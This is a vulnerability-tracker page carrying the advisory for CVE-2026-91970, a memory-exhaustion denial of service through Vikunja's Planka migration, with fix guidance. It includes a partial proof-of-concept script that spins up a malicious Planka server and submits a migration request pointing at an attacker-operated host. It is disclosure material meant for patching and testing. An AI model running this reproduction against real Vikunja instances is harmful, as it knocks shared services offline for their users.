Vikunja: Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API
CVE-2026-91970 · GHSA-wq92-8x3r-fm38 · GO-2026-6757 · published 9 Oct 2026
How serious is it
- Severity: high, CVSS score 7.1 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-91970?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
code.vikunja.io/api(Go) >= 2.5.0, < 2.6.0
How to check
- Run
go list -m code.vikunja.io/apiin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
code.vikunja.io/apito 2.6.0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
# Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API
## Summary
The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.
## Impact and affected scope
- **Type:** Resource Exhaustion Dos
- **Affected component:** POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator
- **Preconditions:** A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit.
- **Verified revision:** `d66ef3d1a39c6f7289593059a1a34afd1d059260` on 28 August 2026
- **Affected release range:** `> 2.5.0` for the tested post-2.5.0 main branch; no released build was independently reproduced
A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.
## Technical details
Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.
Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination
Relevant code:
- `pkg/routes/api/v2/migration_credentials.go:35`
- `pkg/routes/api/v2/migration_shared.go:73`
- `pkg/routes/api/v2/migration_shared.go:95`
- `pkg/modules/migration/planka/client.go:37`
- `pkg/modules/migration/planka/client.go:356`
- `pkg/modules/migration/planka/fetch.go:29`
- `pkg/modules/migration/planka/fetch.go:32`
- `pkg/modules/migration/planka/convert.go:275`
- `pkg/modules/migration/planka/convert.go:280`
- `pkg/modules/migration/planka/convert.go:293`
- `pkg/modules/migration/planka/planka.go:86`
- `pkg/modules/migration/planka/planka.go:100`
## Reproduction
Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create `reproduction/Dockerfile`:
```text
FROM golang:1.27-bookworm AS builder
WORKDIR /src
COPY --from=target . .
RUN mkdir -p frontend/dist \
&& printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \
&& go build -o /out/vikunja .
FROM golang:1.27-bookworm
RUN apt-get update \
&& apt-get install -y --no-install-recommends ca-certificates curl python3 \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY --from=builder /out/vikunja /app/vikunja
COPY . /app
RUN chmod +x /app/verify.sh
```
Create `reproduction/verify.sh`:
```sh
#!/usr/bin/env bash
set -euo pipefail
test -d /target-repo
test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260"
test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}"
mkdir -p /work/files /work/logs
export VIKUNJA_DATABASE_TYPE=sqlite
export VIKUNJA_DATABASE_PATH=/work/vikunja.db
export VIKUNJA_FILES_BASEPATH=/work/files
export VIKUNJA_LOG_PATH=/work/logs
export VIKUNJA_SERVICE_ROOTPATH=/work
export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456
export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/
export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/
python3 /app/malicious_planka.py > /work/planka.log 2>&1 &
PLANKA_PID=$!
/app/vikunja > /work/vikunja.log 2>&1 &
VIKUNJA_PID=$!
cleanup() {
if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
kill "${VIKUNJA_PID}" 2>/dev/null || true
wait "${VIKUNJA_PID}" 2>/dev/null || true
fi
if kill -0 "${PLANKA_PID}" 2>/dev/null; then
kill "${PLANKA_PID}" 2>/dev/null || true
wait "${PLANKA_PID}" 2>/dev/null || true
fi
}
trap cleanup EXIT
for _ in $(seq 1 90); do
if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \
&& curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then
break
fi
sleep 1
done
curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null
curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null
REGISTER_CODE="$(curl -sS -o /work/register.json -w '%{http_code}' \
-H 'Content-Type: application/json' \
-d '{"username":"PoC","email":"PoC@example.invalid","password":"PoC-Test-Password-123!"}' \
http://127.0.0.1:3456/api/v2/register)"
test "${REGISTER_CODE}" = "201"
curl -fsS \
-H 'Content-Type: application/json' \
-d '{"username":"PoC","password":"PoC-Test-Password-123!","long_token":false}' \
http://127.0.0.1:3456/api/v2/login > /work/login.json
TOKEN="$(python3 -c 'import json; print(json.load(open("/work/login.json"))["token"])')"
test -n "${TOKEN}"
BASELINE_RSS_KIB="$(awk '/VmRSS/{print $2}' "/proc/${VIKUNJA_PID}/status")"
OOM_BEFORE="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)"
MIGRATE_CODE="$(curl -sS -o /work/migrate.json -w '%{http_code}' \
-H "Authorization: Bearer ${TOKEN}" \
-H 'Content-Type: application/json' \
-d '{"url":"http://93.184.216.34:18080","token":"attacker-key"}' \
http://127.0.0.1:3456/api/v2/mig…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/go-vikunja/vikunja/security/advisories/GHSA-wq92-8x3r-fm38
- nvd.nist.gov/vuln/detail/CVE-2026-91970
- github.com/go-vikunja/vikunja/pull/3688
- github.com/go-vikunja/vikunja/releases/tag/v2.6.0
- www.vulncheck.com/advisories/vikunja-before-2.6.0-resource-exhaustion-via-planka-migration
- github.com/advisories/GHSA-wq92-8x3r-fm38
- github.com/go-vikunja/vikunja
Merged from GitHub Advisory Database, OSV. Last updated 24 Oct 2026. All vulnerabilities · RSS · JSON